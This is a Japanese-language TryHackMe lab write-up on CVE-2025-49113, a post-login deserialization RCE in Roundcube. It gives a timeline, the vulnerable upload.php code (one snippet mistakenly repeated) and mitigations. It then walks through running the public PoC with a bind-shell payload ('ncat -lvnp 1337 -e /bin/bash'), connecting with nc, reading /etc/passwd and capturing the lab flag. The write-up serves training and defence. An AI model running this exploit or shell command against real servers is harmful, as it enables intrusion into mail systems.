
説明 + THMのラボ
{{date}} {{time}}
ステータス: 完了
ラボ: 簡単
タグ: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
作成者 KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script
影響: ログイン後のリモートコマンド実行 (CVSS 9.9)
影響を受けるバージョン: ≤ 1.5.10 / 1.6.10
修正済み: 1.5.11 および 1.6.11
| 日付 | イベント |
|---|
| ~2014 | program/actions/settings/upload.php ルートの導入。session->append() がバリデーションなしで使用される。 |
| 2025年6月3日 | @FearsOffの研究者がアドバイザリを公開し、PoCを発表。 |
| 2025年6月4日 | Roundcubeがコミット 0376f69 (1.6-stable) および コミット 7408f31 (1.5-lts) を適用。 |
| 2025年6月6日 | PoCがGitHubで公開される。(fearsoff-org/CVE-2025-49113) |
| 2025年6月10日 | 大規模な悪用。 |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … さらに下の方
$rcmail->session->append($type . '.files', $id, $attachment);
入力 _from がGETでそのまま渡され、セッション内のノード名の一部になり、
最初の append() の際にRoundcubeは次の処理を行う:
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … さらに下の方
$rcmail->session->append($type . '.files', $id, $attachment);
ファイルが存在すれば、RCEは成功する。
直ちにアップデート する。バージョン 1.6.11 または 1.5.11 以降へ。
アップデートできない場合は、WAF、ファイアウォール、リライトルールなどで %22、%7C、!、.、または制御バイトを含む _from をブロックする。
php.ini で危険な関数 (proc_open、exec など) を無効化する。
設定パネルでのアップロードをブロックし、ログを監視する。
Created by tryhackme & strategos
VM (MACHINE_IP) と AttackBox を起動する。
http://MACHINE_IP/roundcube にアクセスし、以下でログインする:
ユーザー名: ellieptic
パスワード: ChangeMe123
これでログインできる:

すべてが起動していることを確認したら、エクスプロイトを実行する。先に示したGitHubのPoCにアクセスし、git cloneする:
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

ペイロードの使用方法は簡単。bind shellを作成し、以下の使用法に従って .php ファイルでポートを指定するだけ:
php CVE-2025-49113.php <サイト> <ユーザー名> <パスワード> "<bind shell>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– スクリプトはログインし、悪意のあるPHPオブジェクトを _from パラメータに注入し(前述の通り)、upload.php エンドポイントを呼び出した後、ログアウトを強制して
session_decode() → unserialize() → proc_open() をトリガーする。
時々CSRFエラーが表示されることがあるが、無視して次のステップに進んでよい。
なぜなら、コマンドは通常そのまま実行されているからだ。

bind shellが成功した場合、指定したポート1337で待機しているので、今それに接続するだけ:
nc MACHINE_IP 1337
シェル取得成功。

Byteこの質問を解決するには、/etc/passwd を cat して Maggie のユーザーを grep するか、単に /home で ls を実行すればよい。

/etc に保存されているフラグの値は何ですか?THM{ICE_CUBE_DESERIALISATION}これを解決するには、cat /etc/flag* を実行した。幸いファイル名が flag だったので、キャプチャできた。

コミット 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
コミット 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
FearsOff write-up – https://fearsoff.org/research/roundcube
OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme - TryHackMe | Roundcube: CVE-2025-49113
GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com